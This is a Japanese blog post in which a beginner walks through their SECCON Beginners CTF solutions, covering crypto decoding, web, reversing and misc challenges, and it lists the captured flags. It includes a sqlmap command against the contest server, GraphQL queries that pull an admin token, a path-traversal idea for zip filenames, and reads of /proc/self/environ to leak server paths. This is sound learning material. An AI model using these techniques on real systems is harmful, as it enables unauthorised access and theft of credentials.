Qiita初投稿、技術ブログ自体初投稿です。
フォーラムで質問した程度しかないため、大変拙い文章になっております。
ご了承ください。
今回、2,3回目のSECCON BEGINNERS参戦でした。(1人チーム)
ようやく自力で3割近くの問題を解けるようになったので、これを機に自分でも振り返る用に解けた所だけですがwrite upを書いていきます。
私は668点で155位でした。
運営曰く、6/15までは問題サーバーは破壊しないらしいので、今週末にでも再度解きなおそうかと思います。
ハードコピーって、WEPページ丸々1ページを一気にキャプチャできるんですね。この記事書くまで知らなかった。
Pwn
どの問題も時間内に解けなかったです・・・・後でゆっくり解きます。
Write Up書けるほど解けてないので、また後日加筆します。
なんとなくバッファオーバーフローさせるのは分かって動的解析はしてみたけど、動的解析の熟練度が低すぎる・・・・・
Crypto
R&B
from os import getenv
FLAG = getenv("FLAG")
FORMAT = getenv("FORMAT")
def rot13(s):
# snipped
def base64(s):
# snipped
for t in FORMAT:
if t == "R":
FLAG = "R" + rot13(FLAG)
if t == "B":
FLAG = "B" + base64(FLAG)
print(FLAG)
これを何回か適用したものがencoded_flag。
BQlVrOUllRGxXY2xGNVJuQjRkVFZ5U0VVMGNVZEpiRVpTZVZadmQwOWhTVEIxTkhKTFNWSkdWRUZIUlRGWFUwRklUVlpJTVhGc1NFaDFaVVY1Ukd0Rk1qbDFSM3BuVjFwNGVXVkdWWEZYU0RCTldFZ3dRVmR5VVZOTGNGSjFTMjR6VjBWSE1rMVRXak5KV1hCTGVYZEplR3BzY0VsamJFaGhlV0pGUjFOUFNEQk5Wa1pIVFZaYVVqRm9TbUZqWVhKU2NVaElNM0ZTY25kSU1VWlJUMkZJVWsxV1NESjFhVnBVY0d0R1NIVXhUVEJ4TmsweFYyeEdNVUUxUlRCNVIwa3djVmRNYlVGclJUQXhURVZIVGpWR1ZVOVpja2x4UVZwVVFURkZVblZYYmxOaWFrRktTVlJJWVhsTFJFbFhRVUY0UlZkSk1YRlRiMGcwTlE9PQ==
先頭文字がBならrot13、Rならbase64でそれぞれデコード。
解答時は試行錯誤して上記の解法見つけてから、愚直にrot13した文字列をコピペしてbase64でデコードして、その結果の文字列をコピペして・・・・って事やってました。時間の無駄無駄無駄ぁ!!!
でも、よく考えたらpythonで.decodeあるじゃん。
t = open("encoded_flag", "rb").read()
while True:
t = t[1:].decode("rot13" if t[0]=="R" else "base64")
print t
上記のコードをpython2で実行して、以下のフラグをゲット。
ctf4b{rot_base_rot_base_rot_base_base}
Noisy equations
時間内に解けませんでした。
毎回ランダムにanswerが生成される・・・・?
と解答時は悩んでましたが、これただの行列演算じゃん。
dot(A, B)の時点で気付けよ。
あとでゆっくり解きますが、おそらく$CF+R=A$みたいな形のベクトルから$F$を求めればいいのかな?
RSA Calc
こちらも時間内に解けませんでした。
タイトルとプログラム実行の画面見ると、1.sign・・・署名が必要?
後でじっくり解きます。
Encrypter
問題を解く取っ掛かりが分からなかった問題の1つ。
もうしばらく考えてダメなら、他のWrite Up見ちゃうか・・・・
C4B
時間中に手が付けられなかった・・・・
今後は、解けなくてもとりあえず問題文や、公開されてるソースコードをざっとでも見ておこう。
この問題なら、Solidityを調べれば、いくらかは解法が見えてきそうだし。
Web
Spy
解答中は一番解き方が分からなかったかもしれない。
なんでみんなすぐに解けてしまうんだ?
ログインしようにも、SQi全然できないし、そこから先全然進まず断念。
でも、よくよく問題文を見たら、対象のユーザーを列挙するだけでした。
・・・・そりゃ簡単だ。
解法は色々あるでしょうが、とりあえずBurpのIntruder使って、明らかに実行時間がかかっているアカウントを見付けました。
なお、この問題ではサーバー側が実行時間を教えてくれてました。親切。
ctf4b{4cc0un7_3num3r4710n_by_51d3_ch4nn3l_4774ck}
Tweetstore
数少ない解答できた問題。
:
func initialize() {
var err error
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
:
上記のinitialize関数で、dbuser := os.Getenv("FLAG") としている。
つまり、サーバーの初期化時に、サーバーの環境変数にあるフラグの値を、
dbuserの値としており、コネクション情報としてその後も使用している。
というわけで、sqlmapでサーバーでのカレントユーザー情報を取得します。
sqlmap -u "https://tweetstore.quals.beginners.seccon.jp/?search=aaaa&limit=1" --current-user
で取得。
current user: 'ctf4b{is_postgres_your_friend?}'
unzip
時間内に解けなかった。
ディレクトリトラバーサルを悪用するのは分かったけど、解答時はどこに仕込むか分からず悪戦苦闘。
適当なphpファイルを作って、それをバイナリエディタでマジックナンバー書き換えて拡張子を変えて、そのphpファイルの内容を実行させて・・・・ってOSコマンドインジェクションじゃないか・・・・
後からよく読んでみたら、ZIPアーカイブに含まれている各ファイル名が正しいかチェックしていた。
ZIPファイルそのものじゃなかった・・・・・
まだ解答を確認してないけど、適当にZIPファイル作って、ZIPに含まれているファイル名を../../flag.txtにしてアップロードすればいいかな?
profiler
ほとんど寝ぼけながらやってたら、いつの間にか解けてた。
理屈分からず(寝ぼけて覚えてないが正しい)解けたのに、一番ゲットした点数が高いってどうなの・・・・
通信を見ると、GraphQLのフォーマットでした。
次に、ほとんど眠気で首をカックンカックン揺らしながらグーグル先生に質問すると、以下の脆弱性を見付けました。この時点で仮眠取った方が良かったのかなぁ・・・?
このページに書かれている通りにすると結果が返ってきて、どのようなクエリが使えるのかが分かる。
query { someone(uid: "admin") {
uid
name
profile
token
}
}
でadminのtokenが得られる。自分のトークンをadminのトークンに変更。
mutation {
updateToken(token: "自分のトークン")
}
でトークンを書き換える。
ctf4b{plz_d0_n07_4cc3p7_1n7r05p3c710n_qu3ry}
Somen
時間内に解けませんでした。
とりあえずXSSだという事は分かった。ZAP使って走査まではしたけど、有効な回避手段が時間内に分からず断念。
あとで解きなおします。
Reversing
mask
Reversingで唯一解答できました。
Reversing周りが弱いのが今後の課題かなぁ・・・・・
愚直に、ltraceで動作を見ながら、引数を調整しました。
時間の無駄無駄無駄無駄無駄ぁ!!!!
a~Zまでを引数にして実行→フラグに対して0x75
で&
を取る箇所→0xeb
で&
を取る箇所
の段階で引数を調整。むっちゃ時間かかった。
でも、他のWrite Upを読んでみると、かなり簡単に解いておられますね・・・・
正解となるフラグに対して、0x75
で&
を取った値と、0xeb
で&
を取った値が分かるから、(0x75|0xeb)==0xff
なので両者の値の|
を取れば良い。
そりゃそうだ・・・・・・
ctf4b{dont_reverse_face_mask}
yakisoba
(Hint: You'd better automate your analysis)
angr使えば簡単に解ける?
ghost
後で解きなおします。
ちょっと取っ掛かりが掴めない。
siblangs
Androidアプリ。
完全に後回しにしてた。ほとんど解いてない・・・・
とりあえずフラグの前半部分は、assets/index.android.bundleで処理しているっぽい所まではみつけた。unzipして、文字列検索かけただけだけど。
処理は単なるxorで鍵は"AKeyFor"+h.Platform.OS+"10.3"。じゃあプラットフォームはiosに変更。
:
xored = [34,63,3,77,36,20,24,8,25,71,110,81,64,87,30,33,81,15,39,90,17,27]
key = "AKeyForios10.3"
print("".join(chr(ord(key[i%len(key)])^xored[i]) for i in range(len(xored))))
後半は全く手付かず。
sneaky
コンソールのヘビゲーム。
ちょっとだけ動かしてみたけど、意外と動き早いなこの蛇。
そんなに壁に急いで激突しなくても良くない?
gdbか何かで動的解析して、スコアを書き換えれば良さそう。
でも時間内に解けませんでした・・・・
Misc
2/3も解けたのは行幸。
単純に出題数が他に比べて少ない&Welcomeが混じってるからだけど。
Welcom
フラグはSECCON BeginnersのDiscordサーバーの中にあります。 また、質問の際は ctf4b-bot までDMにてお声がけください。
ctf4b-botじゃなくて、 #announcement にフラグが書かれているという罠。
xrekkusu今日 14:01
競技開始しました!Welcome問題のフラグはこちらになります: ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
ctf4b{sorry, we lost the ownership of our irc channel so we decided to use discord}
emoemoencode
🍣🍴🍦🌴🍢🍻🍳🍴🍥🍧🍡🍮🌰🍧🍲🍡🍰🍨🍹🍟🍢🍹🍟🍥🍭🌰🌰🌰🌰🌰🌰🍪🍩🍽
なぁにこれぇ?
と思って、この文字コードを調べてみたら、下位1バイト、および一部の下位2バイト以外が一致している。
🍣🍴🍦🌴🍢🍻🍟🍽をそれぞれctf4{_}
とおけば、下位2バイト8D A1~8D BA
がa~z
、8C B0~8C B9
が0~9
に対応する。
よって、
ctf4b{stegan0graphy_by_em000000ji}
readme
知識不足が露呈。
時間内に解けなかったですが、実在するファイル名で、../
を頭に含まず、ctf
を含めないという条件で頭の中がオーバーヒート。
# !/usr/bin/env python3
import os
assert os.path.isfile('/home/ctf/flag') # readme
if __name__ == '__main__':
path = input("File: ")
if not os.path.exists(path):
exit("[-] File not found")
if not os.path.isfile(path):
exit("[-] Not a file")
if '/' != path[0]:
exit("[-] Use absolute path")
if 'ctf' in path:
exit("[-] Path not allowed")
try:
print(open(path, 'r').read())
except:
exit("[-] Permission denied")
結論として、/proc/self/environ
を開いて、カレントディレクトリを確認し、そこから相対パスを見付ける。
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/environ
... PYTHON_VERSION=3.7.7 PWD=/home/ctf/serve PYT...
カレントディレクトリは /home/ctf/serve。
$ nc readme.quals.beginners.seccon.jp 9712
File: /proc/self/cwd/../flag
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}
ctf4b{m4g1c4l_p0w3r_0f_pr0cf5}